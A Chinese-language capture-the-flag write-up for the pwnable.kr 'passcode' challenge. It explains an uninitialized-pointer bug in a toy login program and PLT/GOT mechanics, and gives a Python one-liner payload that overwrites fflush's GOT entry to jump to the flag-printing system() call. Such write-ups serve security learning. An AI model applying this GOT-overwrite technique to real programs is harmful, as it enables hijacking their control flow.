初步了解linux下函数机制的一道题,过程比较艰辛 ,怕以后忘了,故此记录

需要了解的知识 > ### ELF文件函数运行机制 PLT 表 ( Procedure Linkage Table --过程链接表) 与GOT表 ( Global Offset Table -- 全局偏移表 )

解题思路

题目地址:ssh passcode@pwnable.kr:2222 > 1. 基本思路是利用脏值passcode1 > 2. 将name残余的数据构造成执行完scanf()函数后将要执行的函数的GOT地址 > 3. 然后通过scanf()对GOT地址进行操作,使得程序jmp到想要运行的地址或者说是函数。

大致流程图

先看源码

#include <stdio.h>
#include <stdlib.h>

void login(){
        int passcode1;
        int passcode2;
        
        printf("enter passcode1 : ");
        scanf("%d", passcode1); // 正常用法passcode1应该有取地址符&
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);  // 与passcode1同样的问题

        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n");

        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;        
}

login的scanf获取passcode1的时候没有取地址符&,而且passcode1与passcode2 没有初始化,是一个脏值。 主函数main调用welcome()login(); Welcome()处声明了一个100字节长的char数组name;

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

gdb调试

发现name的地址和passcode1的地址相差96个字节 我是通过本地编译,然后设置断点,查看变量地址然后相减得到的距离 其他大牛的wp都是看汇编看出来的

然后说因为在main中调用了welcome()后立刻调用login(),而且均是无参数,所以ebp是一样的,故相差地址为 -0x70-(-0x10)=-96 bytes 现在才疏学浅,未学习win32汇编,也不知道为啥是一样的ebp,留个坑吧。

name填充,然后留下构造的fflush()的GOT地址的大致示意图在上文,就不多说了 然后填充的payload即为以下,整好100字节

'a'*96+'\x04\xa0\x04\x08'

然后将地址0x0804a004的内容修改为system()的地址就大功告成了

所以我们应该修改为0x080485e3 因为scanf的格式是%d,所以要将0x080485e3化为十进制的134514147

所以payload修改为:

Python -c 'print "a"*96+"\x04\xa0\x04\x08" +"\n"+"134514147"+"\n" '